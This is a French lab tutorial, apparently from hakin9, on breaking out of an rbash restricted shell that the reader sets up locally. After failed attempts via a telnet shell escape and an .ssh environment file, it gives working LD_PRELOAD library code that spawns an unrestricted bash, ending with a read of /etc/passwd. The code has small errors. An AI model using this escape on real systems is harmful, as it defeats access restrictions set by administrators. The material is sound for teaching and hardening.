Dawid Go³uñski

Shells restreints – comment les observer ?

Sommaire

1. Introduction

2. Créer un environnement restreint à l’aide du script create_restrictions.sh

3. Prendre connaissance de l’environnement du point de vue de l’utilisateur ruser

4. Vérifier quels programmes externes vous ont été accordés par l'administrateur

5. Utiliser le shell (shell escape) et le programme telnet pour lancer les programmes non accordés

6. Utiliser les programmes indisponibles en chargeant les bibliothèques externes via linker/loader – ld.so du système



1. Introduction

Dans ce tutoriel, nous essayerons de quitter un environnement restreint, créé à l’aide du shell rbash. Nous utiliserons les méthodes décrites dans le numéro 8/2006 hakin9.


2. Créer un environnement restreint


La première étape consiste à créer cet environnement au moyen du script préparé create_restrictions.sh

Ouvrez le terminal, passez à l’utilisateur root
$ su
et lancez le script sans aucun paramètre :
# create_restrictions.sh
Vous serez demandé de préciser le mot de passe à attribuer à l’utilisateur ruser. Après avoir saisi le mot de passe (deux fois), vous devrez obtenir le message : L’environnement restreint pour l’utilisateur ruser a été créé.
avec les informations sur le compte créé. C’est tout, désormais, vous pouvez vous connecter au système en tant qu’utilisateur ruser à l’aide de ssh.
# ssh -lruser localhost
-rbash-3.1$


Comme vous pouvez le constater, une fois connectés, vous avez obtenu le shell restreint rbash. Pour vous en assurer, faites quelques commandes interdites :

-rbash-3.1$ cd /etc
-rbash: cd: restricted
-rbash-3.1$ export PATH=/bin
-rbash: PATH: readonly variable
-rbash-3.1$ cd ..
-rbash: cd: restricted
-rbash-3.1$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
-rbash-3.1$ echo test >.bash_profile
-rbash: .bash_profile: restricted: cannot redirect output
-rbash-3.1$


3. Prendre connaissance de l’environnement


Vous prendrez connaissance de l’environnement dans lequel vous vous trouvez, du point de vue de l’utilisateur ruser. Quel répertoire, vous a-t-il été accordé ? Faites la commande (interne) pwd :

-rbash-3.1$ pwd
-rbash: pwd: command not found

Comme vous pouvez le constater, elle a été désactivée. Au lieu de la commande pwd, vous pouvez utiliser des variables d’environnement PWD et HOME :
-rbash-3.1$ echo $HOME
/home/ruser
-rbash-3.1$ echo $PWD
/home/ruser


4. Programmes externes


Vous savez déjà dans quel répertoire vous vous trouvez. Vérifiez à présent quels programmes externes vous ont été attribués par l'administrateur.

-rbash-3.1$ echo $PATH
/usr/local/rbin
-rbash-3.1$ ls -l /usr/local/rbin
-rbash: ls: command not found

Votre répertoire de recherche de l’application (PATH) a été restreint au répertoire /usr/local/rbin. Vous ne pouvez exécuter que les programmes y contenus (sans parler des commandes internes du shell). Comment lister le répertoire alors que vous ne pouvez pas accéder à la commande ls ? La commande echo vous y vient en aide :
-rbash-3.1$ echo /usr/local/rbin/*
/usr/local/rbin/cal /usr/local/rbin/telnet

Comme vous le voyez, les seuls programmes qui vous ont été attribués peuvent suffire pour vous échapper du piège.


5. Utilisation du shell


Première tentative Vous savez que certaines applications permettent de se référer au shell (shell escape). Le programme telnet propose cette possibilité. Pour cette raison, essayez de lancer de son niveau plusieurs programmes (non attribués). Lancez le programme telnet sans paramètres :

-rbash-3.1$ telnet
telnet>
Ensuite, essayez de lancer les applications ls et bash à l’aide des instructions ! (shell escape) :
telnet> ! /bin/ls
rbash: /bin/ls: restricted: cannot specify `/' in command names
telnet> ! /bin/bash
rbash: /bin/bash: restricted: cannot specify `/' in command names

Rien. Le Telnet lance vos commandes en se basant sur le shell rbash, défini dans la variable SHELL. Vous pouvez le confirmer en saisissant :
telnet> ! echo $SHELL
/bin/rbash

Est-il possible d’y remédier ? et plus précisément, est-il possible d’écraser la variable SHELL avec le chemin du shell bash, de sorte que telnet exécute vos commandes en se basant dessus ? Vous pouvez essayer de créer un fichier environmnet (contenant les définitions de la variable SHELL) dans le sous-répertoire .ssh (répertoire personnel). A partir de votre second compte (non restreint), saisissez :
# echo 'SHELL=/bin/bash' >environment
Vous obtiendrez dans le répertoire courant un fichier environment contenant l’affectation. Il ne vous reste qu’à enregistrer ce fichier sur le compte ruser. Puisque le fichier /etc/shells ne contient pas l’entrée /bin/rbash, l’utilisateur ruser ne peut pas se connecter via FTP. Pour cette raison, utilisez scp pour transférer le fichier :
# scp environment ruser@localhost:.ssh/environment
ruser@localhost's password:
scp: .ssh/environment: Permission denied
#
Comme vous le voyez, il faut chercher d'autres solutions. Il est temps de passer au plan B.
>

6. Utilisation des programmes indisponibles en chargeant les bibliothèques externes


Deuxième tentative Puisque l’accès aux programmes externes a été fortement restreint, vous n’avez pas beaucoup de possibilités. Dans une telle situation, il est conseillé d'opter pour le chargement des bibliothèques externes via le linker/loader – ld.so du système. Vous pouvez indiquer le chemin de la bibliothèque à charger à l’aide de la variable LD_PRELOAD. Il faut toutefois vérifier si vous avez la possibilité de la modifier :
-rbash-3.1$ export LD_PRELOAD=/home/ruser/our_library.so
-rbash-3.1$

Vous avez réussi. Vous avez attribué le chemin du fichier our_library.sodo à la variable. Bien évidemment, ce fichier n’existe pas. Au moment de lancer n’importe quel application, loader vous en informera :
-rbash-3.1$ cal
ERROR: ld.so: object '/home/ruser/our_library.so' from LD_PRELOAD cannot be preloaded: ignored.
May 2007
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
-rbash-3.1$
Puisque vous êtes sûrs de pouvoir modifier la variable LD_PRELOAD, commencez à créer la bibliothèque. En supposant que vous voulez utiliser le programme cal pour attaquer, il faut définir les fonctions dont il se sert. Pour ce faire, faites la commande suivante sur le deuxième compte :

# objdump -T /usr/bin/cal | grep GLIBC | head -n 15
00000000 DF *UND* 00000092 GLIBC_2.0 nl_langinfo
00000000 DF *UND* 00000036 GLIBC_2.0 localtime
00000000 DF *UND* 00000021 GLIBC_2.0 fprintf
00000000 DF *UND* 000000ee GLIBC_2.0 getenv
00000000 DF *UND* 00000043 GLIBC_2.0 dcgettext
00000000 DF *UND* 000000ad GLIBC_2.0 strerror
00000000 DF *UND* 0000010a GLIBC_2.0 putchar
00000000 DF *UND* 00000640 GLIBC_2.0 setlocale
00000000 DF *UND* 00000036 GLIBC_2.0 __errno_location
00000000 DF *UND* 000000ed GLIBC_2.0 wcswidth
00000000 DF *UND* 000001aa GLIBC_2.0 puts
0804b500 g DO .bss 00000004 GLIBC_2.0 stdout
0804b504 g DO .bss 00000004 GLIBC_2.0 stderr
00000000 DF *UND* 00003e8b GLIBC_2.0 vfprintf
00000000 DF *UND* 0000001d GLIBC_2.0 bindtextdomain

Vous avez obtenu un ensemble de fonctions auxquels se réfère l’application analysée. Choisissez l'une d'entre elles, par exemple, localtime et écrivez la bibliothèque. Votre bibliothèque devrait exporter les fonctions portant le nom identique à la fonction choisie (localtime) et qui effectue au moins deux opérations :
- supprimer la variable LD_PRELOAD de l’environnement
- lancer le shell /bin/bash (ou autre qui n’est pas restreint)

Le code suivant remplit les deux conditions :
#include (stdio.h)
void localtime()
{
unsetenv("LD_PRELOAD");
system("echo ok! && /bin/bash");
exit(0);
}
Enregistrez-le sous le nom our_library.c et compilez-le :

# gcc -shared our_library.c -o our_library.so
#

Vous obtiendrez en résultat le fichier our_library.so qu’il faut à présent envoyer au compte de l’utilisateur ruser. Puisque vous ne pouvez pas accéder au ftp, utilisez scp :

# scp our_library.so ruser@localhost:/home/ruser/our_library.so
ruser@localhost's password:
scp: /home/ruser/our_library.so: Permission denied

Pourquoi est-il impossible de copier le fichier ? Vous n’avez probablement pas de droit d’enregistrement dans le répertoire personnel. Essayez de l’enregistrer dans le répertoire de fichiers temporaires /tmp :

# scp our_library.so ruser@localhost:/tmp/our_library.so
ruser@localhost's password:
our_library.so 100% 6524 6.4KB/s 00:00
La copie du fichier a réussi. Retournez au compte ruser. Afin de charger la bibliothèque, vous devez modifier la variable LD_PRELOAD, la variable actuelle pointe toujours incorrectement au répertoire personnel.

-rbash-3.1$ export LD_PRELOAD=/tmp/our_library.so
-rbash-3.1$

Bien, assurez vous que la bibliothèque se trouve vraiment à l’emplacement donné :

-rbash-3.1$ echo /tmp/our*
/tmp/our_library.so
Elle s’y trouve. Il ne reste qu’à lancer le programme cal et vérifier si loader ld.so charge la fonction que vous aviez placée :

-rbash-3.1$ cal
ok!
bash-3.1$
Tout s’est très bien déroule: vous avez obtenu un shell bash, sans restrictions.

bash-3.1$ cd /etc
bash-3.1$

De plus, vous pouvez paramétrer la variable PATH, de sorte qu’il soit possible de lancer les programmes sans préciser les chemins complets :

bash-3.1$ export PATH=/bin:/usr/bin:/usr/local/bin

Désormais vous pouvez vous déplacer sans restrictions dans le système :

bash-3.1$ cat /etc/passwd | head -n 3
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin: